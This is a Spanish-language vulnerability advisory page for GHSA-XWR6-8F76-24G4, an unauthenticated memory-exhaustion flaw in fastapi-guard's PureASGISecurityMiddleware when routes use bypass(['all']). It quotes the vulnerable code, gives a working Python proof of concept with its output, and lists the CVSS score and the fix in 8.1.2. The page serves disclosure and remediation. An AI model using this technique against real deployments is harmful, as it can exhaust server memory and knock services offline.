llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · fastapi-guard

GHSA-XWR6-8F76-24G4

Agotamiento de memoria remota sin autenticación en rutas públicas mediante almacenamiento en búfer de respuestas en Pure-ASGI con `bypass(["all"])`

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición33 dDesde la divulgación, 17 oct 2026, 2:10 p. m.
Detección33 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 8.1.2
Monitoreo
Detectada +1
17 oct 26
20 nov 26
17 oct 26
26 oct 26
3 nov 26
11 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-XWR6-8F76-24G4 divulgada · CVSS 7.5 (GitHub)
Divulgación Modificada Última actualización del registro
Remediación Parche 8.1.2 fastapi-guard · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub
Resumen

`PureASGISecurityMiddleware` promete respuestas ASGI sin búfer, pero su ruta documentada `bypass(["all"])` almacena en búfer toda la respuesta del downstream antes de enviar cualquier mensaje de respuesta. Una única solicitud sin autenticación a una ruta pública que use ese decorador puede, por tanto, consumir memoria proporcional al tamaño de la respuesta e impedir el streaming. Una respuesta finita de 8 MiB reprodujo aproximadamente 201 MiB de RSS en un proceso ARM64 limpio.

Detalles

El código vulnerable está en `guard/asgi.py:238-268`:

async def call_next(request: Request) -> Response:
    captured: dict[str, Any] = {"status": 500, "headers": [], "body": b""}

    async def capturing_send(message: Message) -> None:
        if message["type"] == "http.response.start":
            captured["status"] = message["status"]
            captured["headers"] = list(message["headers"])
        elif message["type"] == "http.response.body":
            captured["body"] += message.get("body", b"")

    await self._call_downstream(
        scope, caching_receive.replay(), capturing_send, time.time()
    )
    return Response(
        status_code=captured["status"],
        headers=dict(
            (key.decode("latin-1"), value.decode("latin-1"))
            for key, value in captured["headers"]
        ),
        content=captured["body"],
    )

`PureASGISecurityMiddleware._screen()` pasa este callback que materializa la respuesta a `SecurityMiddleware._handle_security_bypass()` (`guard/asgi.py:197-205`). Cuando la configuración de ruta registrada contiene el token de bypass documentado `all`, guard-core invoca el callback. Cada fragmento `http.response.body` del downstream se añade entonces a un objeto `bytes` sin límite. Como `capturing_send` no reenvía mensajes, el servidor ASGI externo no recibe ni `http.response.start` ni ningún fragmento de cuerpo hasta que la aplicación downstream termina.

La ruta Pure-ASGI habitual (`guard/asgi.py:217-220`) reenvía directamente el wrapper de send del downstream. La ruta afectada es, por tanto, específica de la rama soportada `bypass(["all"])` en modo activo (`passive_mode=False`, el valor por defecto). El `SecurityDecorator` de la ruta debe estar registrado en la aplicación, como exige la integración documentada.

Es un problema del adaptador en `fastapi-guard`, no el problema separado de almacenamiento en búfer del cuerpo de la solicitud corregido previamente en `guard-core` GHSA-c2r5-9jw9-m8q5. Ningún aviso, CVE o incidencia existente de fastapi-guard coincide con esta ruta de captura de respuestas del downstream.

Prueba de concepto

El siguiente script independiente usa únicamente APIs públicas. No requiere Redis, HTTPX, un servicio externo ni contenido de respuesta controlado por el atacante.

Instale la versión afectada en un entorno limpio de Python 3.10+, guarde el script como `poc.py` y ejecútelo:

python -m venv .venv
.venv/bin/pip install fastapi-guard==8.1.1
.venv/bin/python poc.py
# macOS RSS measurement (optional)
/usr/bin/time -l .venv/bin/python poc.py
import asyncio
import tracemalloc

from fastapi import FastAPI
from fastapi.responses import StreamingResponse

from guard import PureASGISecurityMiddleware, SecurityConfig, SecurityDecorator


async def main() -> None:
    chunk = b"x" * (256 * 1024)
    count = 32
    yielded = asyncio.Event()
    release = asyncio.Event()
    finished = asyncio.Event()
    config = SecurityConfig(
        enable_redis=False,
        enable_penetration_detection=False,
        enable_rate_limiting=False,
        enable_ip_banning=False,
    )
    app = FastAPI()
    app.add_middleware(PureASGISecurityMiddleware, config=config)
    decorator = SecurityDecorator(config)
    app.state.guard_decorator = decorator

    @decorator.bypass(["all"])
    @app.get("/stream")
    async def stream() -> StreamingResponse:
        async def body():
            try:
                yielded.set()
                yield chunk
                await release.wait()
                for _ in range(count - 1):
                    yield chunk
                    await asyncio.sleep(0)
            finally:
                finished.set()

        return StreamingResponse(body(), media_type="application/octet-stream")

    sent = []
    first = True

    async def receive():
        nonlocal first
        if first:
            first = False
            return {"type": "http.request", "body": b"", "more_body": False}
        await finished.wait()
        return {"type": "http.disconnect"}

    async def send(message):
        sent.append(message)

    scope = {
        "type": "http",
        "asgi": {"version": "3.0", "spec_version": "2.3"},
        "http_version": "1.1",
        "method": "GET",
        "scheme": "http",
        "path": "/stream",
        "raw_path": b"/stream",
        "query_string": b"",
        "headers": [(b"host", b"testserver")],
        "client": ("198.51.100.10", 50000),
        "server": ("testserver", 80),
        "root_path": "",
        "app": app,
    }
    tracemalloc.start()
    task = asyncio.create_task(app(scope, receive, send))
    await yielded.wait()
    await asyncio.sleep(0)
    before_release = len(sent)
    assert not sent, "streaming data was forwarded before completion"
    release.set()
    await task
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    bodies = [
        message.get("body", b"")
        for message in sent
        if message["type"] == "http.response.body"
    ]
    assert len(bodies) == 1
    assert len(bodies[0]) == len(chunk) * count
    print(
        f"before_release={before_release} buffered={len(bodies[0])} peak_traced={peak}"
    )


asyncio.run(main())

Salida representativa:

before_release=0 buffered=8388608 peak_traced=17064315

`before_release=0` demuestra que ningún mensaje de respuesta ASGI se reenvía después de que el generador downstream produce su primer fragmento. `buffered=8388608` demuestra que la respuesta completa de 8 MiB se emite solo después de que termina el generador, como un único mensaje de cuerpo. La PoC invoca la aplicación ASGI directamente con un ámbito `GET /stream` ordinario y sin autenticación, por lo que no se requiere servidor, biblioteca cliente ni servicio externo.

Comportamiento esperado: la respuesta inicial y el primer fragmento del cuerpo se reenvían en cuanto la aplicación downstream los envía. Comportamiento real: no se reenvía ningún mensaje de respuesta hasta que la aplicación downstream termina, y el cuerpo completo se envía en un solo mensaje. En macOS ARM64 con Python 3.10.19, FastAPI 0.141.1, Starlette 1.6.0, `guard-core` 4.4.0 y `fastapi-guard` 8.1.1, `/usr/bin/time -l` midió `ru_maxrss=201,424,896` bytes en esta ejecución. La misma respuesta por la ruta de streaming normal envió su primer fragmento antes de completarse y midió aproximadamente 64 MiB de RSS en un proceso limpio.

Impacto

Es una vulnerabilidad remota de disponibilidad (CWE-400). Cualquier despliegue que use `PureASGISecurityMiddleware` con una ruta pública registrada con `bypass(["all"])` en modo activo está afectado cuando esa ruta devuelve un cuerpo grande o de larga duración.

Un atacante no necesita cuenta, rol de administrador, cuerpo de solicitud, código de aplicación ni un momento especial. Un único GET ordinario retiene la respuesta completa en el middleware; la concatenación repetida añade amplificación por copias, y las solicitudes concurrentes multiplican el uso de recursos. Un flujo sin límite mantiene ocupado el worker mientras el búfer crece sin entregar una respuesta; con memoria limitada del worker, esto puede terminarlo. No se ven afectadas la confidencialidad ni la integridad.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
fastapi-guard≥ 8.1.0 ≤ 8.1.1
8.1.0
8.1.1
8.1.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypifastapi-guard
Corregida 8.1.2 0 d 8.1.2 no afectada
Versiones corregidas8.1.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Guard-Core/fastapi-guard/security/advisories/GHSA-xwr6-8f76-24g4

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.